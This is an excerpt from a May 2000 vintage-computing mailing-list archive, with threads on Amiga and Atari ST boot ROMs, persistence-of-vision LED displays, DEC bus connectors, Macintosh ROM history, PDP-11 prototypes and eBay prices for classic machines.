Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: References: <66.36e59e5.2648bcbe@aol.com> from "Historical@aol.com" at May 08, 2000 08:58:3 Message-ID: <200005091247.e49CldL15466@mail2.siemens.de> > > In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain > > Napalm' Conner" writes: > > > > << Again, to bring this back on topic, there have been plenty > > of operating systems distributed in ROM---AmigaOS, QNX, OS-9 > > and the original MacOS were all contained in ROM, were/are > > ROMmable and extensible. (snip snip) > Just like the original Amiga circa 1985, which loaded Kickstart off of disk > into write once protected RAM. Why?? Because the ROM code had not yet been > finalized when the computer was put on the market. > Another fine example of how marketing guys try to BS electrons . . . Well, exactly the same happened to the _very_ first Atari STs. The ROM contained only a boot loader and the TOS/GEM had to be loaded from Disk. In fact this is also the reason why the RAM got doubbled (by piggy pack chips) from 256K to 512K for the 260 and 512K to 1 Meg on the 520, corrupting the naming scheme. This phase did last only about 3 Month, so a boot ROM ST is quite a collectabe thing, especialy since most got updated. Servus Hans -- VCF Europa am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From jfoust at threedee.com Tue May 9 08:37:50 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: References: <3917861C.A1D9E3BE@mcmanis.com> Message-ID: <4.3.0.20000509083602.01915ac0@pc> At 08:29 AM 5/9/00 -0400, allisonp@world.std.com wrote: >Now that's a cool hack. I nelieve one of the stadiums used a PDP-8 to >control a graphic scoreboard. What's the name of those signs that are composed of nothing but a single vertical column of LEDs, where you can only see the image (or the digital clock display, etc.) as your eye scans across it, leaving the multiplexed image in your brain? - John From marvin at rain.org Tue May 9 10:06:06 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) References: <3917861C.A1D9E3BE@mcmanis.com> <4.3.0.20000509083602.01915ac0@pc> Message-ID: <3918295E.44B458FD@rain.org> John Foust wrote: > > What's the name of those signs that are composed of nothing but > a single vertical column of LEDs, where you can only see the > image (or the digital clock display, etc.) as your eye scans > across it, leaving the multiplexed image in your brain? I can't recall either, but that brings to mind an interesting project a friend of mine worked on quite a few years ago. The Art Museum here was having some kind of show and an artist wanted to paint electronic pictures. My friend designed the electronics (I built the circuit boards) to put a line of LEDs on a pendulum and paint pictures electronically as the pendulum swung through its arc. With the multi-colored and higher intensity LEDs available today, it would be really cool to do the same thing but with color pictures. Doesn't sound like too hard a project especially with the speed of todays computers. From jfoust at threedee.com Tue May 9 10:37:31 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <3918295E.44B458FD@rain.org> References: <3917861C.A1D9E3BE@mcmanis.com> <4.3.0.20000509083602.01915ac0@pc> Message-ID: <4.3.0.20000509102413.01af7140@pc> At 08:06 AM 5/9/00 -0700, Marvin wrote: > With the multi-colored and higher intensity LEDs >available today, it would be really cool to do the same thing but with color >pictures. Doesn't sound like too hard a project especially with the speed of >todays computers. I was thinking along the same lines. It would be a nifty consumer product, but it would be quickly cloned by other manufacturers, I suspect. I would think a PC's parallel port would be capable of driving the data at a suitable rate and cost. - John From jfoust at threedee.com Tue May 9 10:42:39 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:40 2005 Subject: RL02 cart on eBay Message-ID: <4.3.0.20000509104206.01af7c30@pc> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=328480021 - John From RCini at congressfinancial.com Tue May 9 10:43:01 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) Message-ID: <497A9E0467D2D2119B760090271EB8E50E90DD@MAIL10> There was a project just for this in Electronics Now or Popular Electronics just recently. I'd say Feb. or March issue. If I have time tonight, I'll dig-up the article. As I recall, it uses a PIC and a group of LEDs on a pendulum to provide the date and time using the same "persistence of vision" as mentioned below. I don't recall if the swinging was user-invoked, motorized or magnetic. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Marvin [mailto:marvin@rain.org] Sent: Tuesday, May 09, 2000 11:06 AM To: classiccmp@classiccmp.org Subject: Re: Cool hack (was Busses vs no busses) John Foust wrote: > > What's the name of those signs that are composed of nothing but > a single vertical column of LEDs, where you can only see the > image (or the digital clock display, etc.) as your eye scans > across it, leaving the multiplexed image in your brain? I can't recall either, but that brings to mind an interesting project a friend of mine worked on quite a few years ago. The Art Museum here was having some kind of show and an artist wanted to paint electronic pictures. My friend designed the electronics (I built the circuit boards) to put a line of LEDs on a pendulum and paint pictures electronically as the pendulum swung through its arc. With the multi-colored and higher intensity LEDs available today, it would be really cool to do the same thing but with color pictures. Doesn't sound like too hard a project especially with the speed of todays computers. From mgregory at vantageresearch.com Tue May 9 10:48:05 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 Message-ID: <001901bfb9cd$f9f6d280$0200a8c0@marvin> -----Original Message----- > >Just like the original Amiga circa 1985, which loaded Kickstart off of disk >into write once protected RAM. Why?? Because the ROM code had not yet been >finalized when the computer was put on the market. > >Another fine example of how marketing guys try to BS electrons . . . > >Gary Hildebrand > And the A3000 when first released, which resurrected the Kickstart disk a second time. Actually, I thought that soft-kickable Amigas were great; the A1000 and A3000 could both use a wider variety of OS versions with less fuss than those where the Kickstart was entirely in ROM. And once you put the softkick on a bootable HD, it didn't slow down the boot sequence that much. Great if you occasionally needed to boot 1.3 to run an older game. Even the Amigas with Kickstart in ROM could be soft-kicked if necessary. I ran an A2000 with a 1.3 ROM that soft-kicked to a 2.0 ROM image, so I could run OS 2.0 when it was first released. Those were happy days! Mark. From transit at lerctr.org Tue May 9 10:51:59 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <3918295E.44B458FD@rain.org> Message-ID: On Tue, 9 May 2000, Marvin wrote: > > > John Foust wrote: > > > > What's the name of those signs that are composed of nothing but > > a single vertical column of LEDs, where you can only see the > > image (or the digital clock display, etc.) as your eye scans > > across it, leaving the multiplexed image in your brain? > > I can't recall either, but that brings to mind an interesting project a > friend of mine worked on quite a few years ago. The Art Museum here was > having some kind of show and an artist wanted to paint electronic pictures. > My friend designed the electronics (I built the circuit boards) to put a > line of LEDs on a pendulum and paint pictures electronically as the pendulum > swung through its arc. With the multi-colored and higher intensity LEDs > available today, it would be really cool to do the same thing but with color > pictures. Doesn't sound like too hard a project especially with the speed of > todays computers. > Go to Union Station in Downtown LA. There's a display consisting of eight to ten columns of LEDs (each column being about 3-4 feet high and actually consisting of a combination of red, blue and green (sound familiar) LEDs) If you look at it dead on, it just looks like blinking lights. But if you sweep your eyes across it, you'll see pictures of trains, traffic, celebrities, etc. This is near the "Patsouras Transit Plaza/Vignes" exit of the Metro Red Line subway. From Hans.Franke at mch20.sbs.de Tue May 9 13:02:59 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <4.3.0.20000509102413.01af7140@pc> References: <3918295E.44B458FD@rain.org> Message-ID: <200005091603.e49G3qg04036@mail2.siemens.de> > At 08:06 AM 5/9/00 -0700, Marvin wrote: > > With the multi-colored and higher intensity LEDs > >available today, it would be really cool to do the same thing but with color > >pictures. Doesn't sound like too hard a project especially with the speed of > >todays computers. > I was thinking along the same lines. It would be a nifty consumer > product, but it would be quickly cloned by other manufacturers, > I suspect. I would think a PC's parallel port would be capable > of driving the data at a suitable rate and cost. Four things: a) Computer Speed has never been a problem (at least not within the last 20 years) b) Colour _is_ a problem, since the colour sensivity of the human eye isn't exactly great. c) Moving pictures are way harder to produce d) And most important the mechanical parts are the challenge. If you like to get an accaptable detailed picture, like, let's say a colour TV (up to 200 lines (aka ~400x400 pixles)) the simple setup is gone, since you have to swing the mechanism with a continous speed of at least 20 passings per second in front of a non disturbing background. Beside all mechanical problems, the most simple solution would be a propeller like device, where you either only use a rectangular display area (2x1) in the upper rotation area, or a square area all over. This adds some drawbacks: You have to calculate all x/y pairs to a circular position with _different_ on/of timing according to the position, while still producing circular artefacts (in contrast to linear artefacts, as with TVs or simple horizontal moving devices, circular are _very_ disturbing). Beside that you ma produce a noticable noise: 2 wings (to halve the needed speed, while still maintain a low storage profile (not to speek of better balance)) moving at 10 rounds per second (20 passings for each location per second) with a diameter of 1m (giving a visible area of .7m x .7m) produce a speed of 113 km/h at the end of each rod - quite notable. The only advantage of this would be a way less complicates mechanical design (no fast acceleration on bothe ends of the movement needed). Anyway, this technology will never take of. The only version with a possible use is if you mount the LEDs on a helix like curve to produce real 3D pictures - but again, a Laser and a semitransparent full helix is more aprobiate. These swinging displays are dammed to stay at low res (almost) static display levels. Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From jpl15 at netcom.com Tue May 9 11:17:28 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:52:40 2005 Subject: OFF TOPIC: Cool Hack Message-ID: I might as well slither onto the OT Bandwagon... I submitted a design some years back (which was shelved... snif snif) for an array of LEDs to be affixed to the blades of a typical ceiling fan. These would get thier power and signals from induction coils on the frame of said fan, and would provide kewl displays as the fan turned (in the dark especially). I made a single-array prototype... it worked fine. The company just didn't market it... o well. ON TOPIC: I also went to VCFE (I guess Sellam forgot that part... ) and took several dozen pictures. I am uploading them to Hans Franke, and he will put them on the Website for public viewing. Kudos and Hats Off to Hans, Sellam, Phillip Belben, John Zabolitski, and all the others who worked thier _____es off to make it a success. Cheers John From dylanb at sympatico.ca Tue May 9 13:59:57 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:40 2005 Subject: value of RK05 References: Message-ID: <001901bfb9e8$c55fbbc0$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Saturday, May 06, 2000 1:53 PM Subject: Re: value of RK05 > > I base the price on *alot* more than one sale. Ie: 3 PDP-11/35s for $6-7K > > minimum.I don't think you want to know what Classic-11s (pre 11/20) sell > > Err, and just what _production_ PDP11s are pre-11/20?? > Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo the differences - most had to do with the UNIBUS.. but there was some changes to the datapaths as well. > > I said the RL01s were worthless to collectors. Price is of course based on > > rarity. I think *every* PDP-11/34 was shipped with RL01s ;-) > > Not always, at least not to non-collectors. > > Sometimes, price is based on utility. People will pay a lot for something > they really need, especially if it's for real work. I know of people > who've got serious money for things like IBM MDA monitors, simply because > they were needed for some expensive instrument that happened to have an > MDA output and where you can't simply drop in a different video card. > > -tony > > From foo at siconic.com Tue May 9 11:30:53 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:40 2005 Subject: VCF musings... In-Reply-To: Message-ID: [posting from a junk account on my server...] On Tue, 9 May 2000, John Lawson wrote: > ON TOPIC: I also went to VCFE (I guess Sellam forgot that > part... ) and took several dozen pictures. I am uploading them to > Hans Franke, and he will put them on the Website for public > viewing. Sorry, after 7 brain numbing days with Hans I forgot a lot of stuff ;) > Kudos and Hats Off to Hans, Sellam, Phillip Belben, John > Zabolitski, and all the others who worked thier _____es off to make > it a success. Most of the thanks goes to Hans for pulling it off. And yes, thank you too, John. You were the best SchlepWalla of them all! ;) Sellam From pechter at pechter.dyndns.org Tue May 9 13:03:29 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: from "allisonp@world.std.com" at "May 9, 2000 08:29:27 am" Message-ID: <200005091803.OAA07531@bg-tc-ppp515.monmouth.com> > As the speed of the bus increases and the ability to contain the bus > interface in fewer chips increases the number of wires needed tends to go > down. Obviously two wires are easier to handle, terminate and connect > than 100. What also occurs is the simpler the bus the more sophisticated > the bus interface required, higher levels of integration feed that. It's > evolotionary. Think of USB and firewire as network buses and the devices > to connect them to things like printers and disks as "bridges". > > Still, some buses will be hard fo the hobbiest to deal with due to the > specialzed logic needed. > > Allison Perhaps Firewire's a distant decendant of the DEC CI780 and HSC50 disk interface SDI cable. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From eric at brouhaha.com Tue May 9 13:39:18 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <66.36e59e5.2648bcbe@aol.com> (Historical@aol.com) References: <66.36e59e5.2648bcbe@aol.com> Message-ID: <20000509183918.13225.qmail@brouhaha.com> David Greelish wrote: > The Mac OS has never been fully contained in ROM. Starting with the Lisa in > 1983 and the original Mac in 1984, Apple used a 64k ROM that contained GUI > program routines (the Macintosh ToolKit). These machines still had to boot a > floppy which made calls to the ROM. The Lisa only had 16K of ROM, which did NOT contain anything but a bootstrap loader and diagnostics. The Lisa operating system and applications did not make any calls into the ROM, with the possible exception of one function to set MMU registers. Macintosh software certainly did not make any calls to the Lisa ROM, even on Lisas that were sold under the name "Macintosh XL". In the original Macintosh (64K ROM, 128K RAM), the OS was *almost* entirely contained in ROM. The System file primarily contained fonts, desk accessories, defprocs, and bug fixes. It was in fact possible to write Macintosh applications that could be booted directly with no System file, yet take full advantage of the Macintosh "OS". The Macintosh OS has gone through multiple cycles of adding large chunks of new functionality to the System file, then moving those pieces into ROM. Unfortunately when the code gets moved into ROM, it doesn't usually get removed from the System file, because it still is needed for older Macs since Apple typically does not offer ROM upgrades. With System 7.5 (or was it 7.1), the size of the System file was getting sufficiently out of hand that Apple moved a lot of platform- specific code into "System Enablers". Nowdays Macs don't have *any* of the OS in ROM; they use the OpenBoot firmware to load the entire OS from disk. From eric at brouhaha.com Tue May 9 13:43:08 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: <3917861C.A1D9E3BE@mcmanis.com> (message from Chuck McManis on Mon, 08 May 2000 20:29:32 -0700) References: <3917861C.A1D9E3BE@mcmanis.com> Message-ID: <20000509184308.13248.qmail@brouhaha.com> Chuck wrote: > But the trend in PC's has gone to fewer and fewer "slots" and soon will > be no slots. I thought that the bus was dead until I realized that USB > has the same bandwidth as Q-bus and FireWire has much better bandwidth. > So presumably we'll see some interesting I/O devices that use these > busses in the future. Yes, Apple's "virtual slot" idea that they used to justify the "closed" Macintosh is finally becoming practical, albeit about 16 years later than they intended. Better late than never! :-) From eric at brouhaha.com Tue May 9 13:46:41 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: <20000509064537.94590.qmail@hotmail.com> (xds_sigma7@hotmail.com) References: <20000509064537.94590.qmail@hotmail.com> Message-ID: <20000509184641.13284.qmail@brouhaha.com> "Will Jennings" wrote: > Of course, you can always point out that with the DEC stuff, the unibus, > omnibus, posibus, negibus, and qbus all use the same connectors... realllly > different electrical signals but still the same connectors... quite handy.. Handy? Except for the rare cards that plug into either Unibus or Qbus (e.g., FPF11), I've never noticed it to be particularly handy. Although I haven't managed to do it myself (yet), I imagine that anyone who has damaged DEC boards by plugging them into the wrong bus might dispute that this is handy. Using the same connectors is OK, but they should have keyed them. For instance, PCI has keying for 5V and 3.3V cards. If you make a card that can support either, you put both slots in it. The same thing could have easily (and cheaply) been done for Omnibus, Unibus, MUD, SPC, and Qbus. Oh well. From eric at brouhaha.com Tue May 9 13:50:33 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: (allisonp@world.std.com) References: Message-ID: <20000509185033.13329.qmail@brouhaha.com> Allison wrote: > Now that's a cool hack. I nelieve one of the stadiums used a PDP-8 to > control a graphic scoreboard. I suspect a lot of them did. In 1983, Johnson County Community College in Overland Park, Kansas received a donation of a PDP-8/e system with third-party RK05 clones, which had been retired from running the scoreboard at one of the stadiums across the border in Missouri. I was tasked with trying to figure out some practical use for the machine. None of my proposals were accepted; admittedly they weren't really very practical, since by that time microcomputers were much more suited to most educational needs. The machine was apparently scrapped. :-( From wilson at dbit.dbit.com Tue May 9 13:59:30 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: ; from dpeschel@eskimo.com on Tue, May 09, 2000 at 10:15:28AM -0600 References: <66.36e59e5.2648bcbe@aol.com> Message-ID: <20000509145930.A9255@dbit.dbit.com> On Tue, May 09, 2000 at 10:15:28AM -0600, Derek Peschel wrote: > Just like the original Amiga circa 1985, which loaded Kickstart off of disk > into write once protected RAM. Why?? Because the ROM code had not yet been > finalized when the computer was put on the market. IIRC, the documentation consistantly referred to it as "ROM" even though that was actually true on 0% of the machines shipping at the time. Then again, unless I'm confusing it with the C64, the manuals consistantly misspelled "kernel" so they were obviously pretty sloppy (unless they meant it as an acronym for something). So we always talked about making calls to the "kern-AL". Geez, remember the scam that Commodore pulled with the programming documentation? It wasn't ready at the time the machines finally shipped, and when they eventually did get the docs together, they decided that they would ship the first printing only to suckers who paid lots extra to be certified Amiga developers, or some such BS. Regular folks who had already paid for the documentation had to wait *months* before they actually received it. John Wilson D Bit From xds_sigma7 at hotmail.com Tue May 9 14:48:21 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses Message-ID: <20000509194821.39045.qmail@hotmail.com> Oops, I should have made it clear that I was speaking only about WIREWRAP boards! I did not mean to imply in any way whatsoever that you could put unibus boards in say a negibus backplane, unless you like the smell of burnt circuitry.. that was also the reason for my note about their electrical signals being totally different, i.e. that unibus boards might have the same connectors as qbus boards, but they are electrically different... Dear lord I hope nobody cooked anything by mistake!!! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mikeford at socal.rr.com Tue May 9 13:43:28 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <200005091603.e49G3qg04036@mail2.siemens.de> References: <4.3.0.20000509102413.01af7140@pc> <3918295E.44B458FD@rain.org> Message-ID: Haven't you all seen the little dooky that clips to your glasses and sits about 3 inches in front? Its a commercial product "around" $100 and uses a linear arrary of LEDs and a rotating mirror to give a full SVGA display that seems to "float" about 8 inches in front of you. Last time I saw them at WCES they were working on a high definition TV eyepiece, and the quality was very good. From mrbill at mrbill.net Tue May 9 15:20:36 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: ; from mikeford@socal.rr.com on Tue, May 09, 2000 at 11:43:28AM -0700 References: <4.3.0.20000509102413.01af7140@pc> <3918295E.44B458FD@rain.org> <200005091603.e49G3qg04036@mail2.siemens.de> Message-ID: <20000509152036.S29395@mrbill.net> On Tue, May 09, 2000 at 11:43:28AM -0700, Mike Ford wrote: > Haven't you all seen the little dooky that clips to your glasses and sits > about 3 inches in front? Its a commercial product "around" $100 and uses a > linear arrary of LEDs and a rotating mirror to give a full SVGA display > that seems to "float" about 8 inches in front of you. Last time I saw them > at WCES they were working on a high definition TV eyepiece, and the quality > was very good. I'd like to know where the heck to get one of these for "around" $100. I'll whip out my card and buy one RIGHT NOW. 8-) Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From yakowenk at cs.unc.edu Tue May 9 15:26:21 2000 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:52:40 2005 Subject: HP86 Message-ID: <200005092026.QAA19723@swordfin.cs.unc.edu> Hey all, I have a line on an HP-86 up for grabs in California, about 90 miles north of Sacramento: ] HP-86 with manuals, monitor, two disc drives, memory modules, matrix ] manipulation hardware (never used), etc. I have not taken a complete ] inventory of what is there. Would be happy to GIVE it to anyone that ] has an interest. Let me know if you're interested, and I'll pass the word on. Cheers, Bill. From John.Allain at donnelley.infousa.com Tue May 9 15:26:55 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: <200005091803.OAA07531@bg-tc-ppp515.monmouth.com> Message-ID: <000201bfb9f4$ebabb200$0e0301ac@dba00802.databaseamerica.com> Could someone help my recollecting. What's an SDI & are these correct? John A. Bill said > ...a distant decendant of the DEC CI780 and HSC50 > disk interface SDI cable. CI780 =? Cluster Interconnect ?? HSC50 =? Heirarchic Storage Controller ?? SDI =? No Freakin' Clue. ??? Help! From John.Allain at donnelley.infousa.com Tue May 9 15:44:20 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:40 2005 Subject: OT: Cool hack (Glasses vs no 'Tube') In-Reply-To: <20000509152036.S29395@mrbill.net> Message-ID: <000301bfb9f7$5abe60f0$0e0301ac@dba00802.databaseamerica.com> AFAIR it was called a "Private Eye" and a quick search revealed this find: http://www.japanentry.com/reflection.html -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Bill Bradford Sent: Tuesday, May 09, 2000 4:21 PM To: classiccmp@classiccmp.org Subject: Re: Cool hack (was Busses vs no busses) On Tue, May 09, 2000 at 11:43:28AM -0700, Mike Ford wrote: > Haven't you all seen the little dooky that clips to your glasses and sits > about 3 inches in front? Its a commercial product "around" $100 and uses a > linear arrary of LEDs and a rotating mirror to give a full SVGA display > that seems to "float" about 8 inches in front of you. Last time I saw them > at WCES they were working on a high definition TV eyepiece, and the quality > was very good. I'd like to know where the heck to get one of these for "around" $100. I'll whip out my card and buy one RIGHT NOW. 8-) Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From richard at idcomm.com Tue May 9 15:44:07 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:40 2005 Subject: Cool hack (was Busses vs no busses) References: <3917861C.A1D9E3BE@mcmanis.com><4.3.0.20000509083602.01915ac0@pc> <4.3.0.20000509102413.01af7140@pc> Message-ID: <004701bfb9f7$53397b80$0400c0a8@winbook> ----- Original Message ----- From: John Foust To: Sent: Tuesday, May 09, 2000 9:37 AM Subject: Re: Cool hack (was Busses vs no busses) > At 08:06 AM 5/9/00 -0700, Marvin wrote: > > With the multi-colored and higher intensity LEDs > I suspect. I would think a PC's parallel port would be capable > of driving the data at a suitable rate and cost. In EPP mode, widely published to be readily capable of achieving speeds comparable with the ISA bus, it should be VERY possible. With the associated 8-bit address and 8-bit data bus, it should be quite straightforward. If you want, you can build a recircuilating FIFO that coughs up the data ata a rate synchronized with your rep-rate. Then you play with the rep-rate until you're happy with what you've got. You can compensate for low mechanical performance by using two or four wands if you don't like what you get on just one. Dick From ard at p850ug1.demon.co.uk Tue May 9 15:10:01 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:40 2005 Subject: value of RK05 In-Reply-To: <001901bfb9e8$c55fbbc0$fd83fea9@office> from "johnb" at May 9, 0 02:59:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 969 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000509/2cb9a53c/attachment-0001.ksh From ard at p850ug1.demon.co.uk Tue May 9 16:11:55 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: <20000509184641.13284.qmail@brouhaha.com> from "Eric Smith" at May 9, 0 06:46:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1178 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000509/34ddaaa6/attachment-0001.ksh From CLASSICCMP at trailing-edge.com Tue May 9 16:37:06 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:40 2005 Subject: value of RK05 Message-ID: <000509173706.2020b7a8@trailing-edge.com> >> > >> > Err, and just what _production_ PDP11s are pre-11/20?? >> > >> >> Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* >> different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo >> the differences - most had to do with the UNIBUS.. but there was some >> changes to the datapaths as well. >Ah, so they're not really production machines... > >As a user/repairer (as opposed to a collector), my views on prototype >machines and their value is perhaps a little different to others. You also have to keep in mind who the owner is and how much he wants to inflate the value of his equipment. I think it's been conclusively shown that there are at least some members of this list who are very good salesmen (perhaps PT Barnum style), and some others who aren't so good. Q: What's the difference between a computer dealer and a car dealer? A: The car dealer knows when he's lying. Tim. From dylanb at sympatico.ca Tue May 9 18:35:23 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:40 2005 Subject: value of RK05 References: Message-ID: <004e01bfba0f$3fb89380$fd83fea9@office> > > Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* > > different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo > > the differences - most had to do with the UNIBUS.. but there was some > > changes to the datapaths as well. > > Ah, so they're not really production machines... They *really* weren't sold as prototype machines. One could say the PDP-1, PDP-4 , PDP-6 and PDP-7 were "prototypes" as well then. This was Gordon's first 16 bit release, he just redesigned some of it and re-numbered the computer as a new PDP-11 line was starting in 1971. I *did* have one of the original PDP-11 prototypes and it was quite a mess. It did boot RT11 v4 though :-) john From marvin at rain.org Tue May 9 17:05:16 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:40 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> Message-ID: <39188B9C.7064FBAF@rain.org> Good grief, someone puts the word "historic" on a computer and look what happens to the price someone else is willing to pay. Hmmm, maybe its the "rush" one gets after taxes are done. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 For those that don't choose to browse, the closing price was $10K. From dylanb at sympatico.ca Tue May 9 18:54:13 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:40 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> Message-ID: <006e01bfba11$e11dcc20$fd83fea9@office> ----- Original Message ----- From: Marvin To: Sent: Tuesday, May 09, 2000 6:05 PM Subject: Ebay Altair > > Good grief, someone puts the word "historic" on a computer and look what > happens to the price someone else is willing to pay. Hmmm, maybe its the > "rush" one gets after taxes are done. > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 > > For those that don't choose to browse, the closing price was $10K. > Funny how a lot of people here think the prices are inflated. These prices are established by *demand* and availability (as with anything else). I sold my Altair 8800 serial #80 just like this one with my collection :-( john From John.Allain at donnelley.infousa.com Tue May 9 17:22:28 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:40 2005 Subject: Ebay Altair In-Reply-To: <39188B9C.7064FBAF@rain.org> Message-ID: <000601bfba05$102c6150$0e0301ac@dba00802.databaseamerica.com> The biggest eBay rip I've see thus far is -be warned- 'Historic IBM "Think" signs from the 60s' These were saleable new as late as 1994 for something like $10-$15. These are the plastic signs with a "T" foot in the back. Someone is getting them out on eBay claiming they're 30+ years old (false) and getting about $150 ea. Jeesh! John A. From mikeford at socal.rr.com Tue May 9 17:25:29 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:41 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <20000509152036.S29395@mrbill.net> References: ; from mikeford@socal.rr.com on Tue, May 09, 2000 at 11:43:28AM -0700 <4.3.0.20000509102413.01af7140@pc> <3918295E.44B458FD@rain.org> <200005091603.e49G3qg04036@mail2.siemens.de> Message-ID: >On Tue, May 09, 2000 at 11:43:28AM -0700, Mike Ford wrote: >> Haven't you all seen the little dooky that clips to your glasses and sits >> about 3 inches in front? Its a commercial product "around" $100 and uses a >> linear arrary of LEDs and a rotating mirror to give a full SVGA display >> that seems to "float" about 8 inches in front of you. Last time I saw them >> at WCES they were working on a high definition TV eyepiece, and the quality >> was very good. > >I'd like to know where the heck to get one of these for "around" $100. >I'll whip out my card and buy one RIGHT NOW. 8-) Am I the only one that knows how to use a search engine, BTW shoot me if I am off a silly zero or so. http://www.MicroOpticalcorp.com/ Following link in other post, Omron made the unit I looked at during WCES. From go at ao.com Tue May 9 18:43:07 2000 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <006e01bfba11$e11dcc20$fd83fea9@office> References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> Message-ID: <4.2.2.20000509162648.03a86c20@wave-rock.ao.com> At 19:54 5/9/00 -0400, you wrote: > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 > >Funny how a lot of people here think the prices are inflated. These prices >are established by *demand* and availability (as with anything else). I sold >my Altair 8800 serial #80 just like this one with my collection :-( > >john However, as it's been pointed out before, it only takes *2* bidders to make a runaway auction. This hardly qualifies as an "ordinary" price. And in the case of the above auction, it only took *1* as it was a reserve auction, with an apparent reserve of $10k. There was quite a spread between the highest 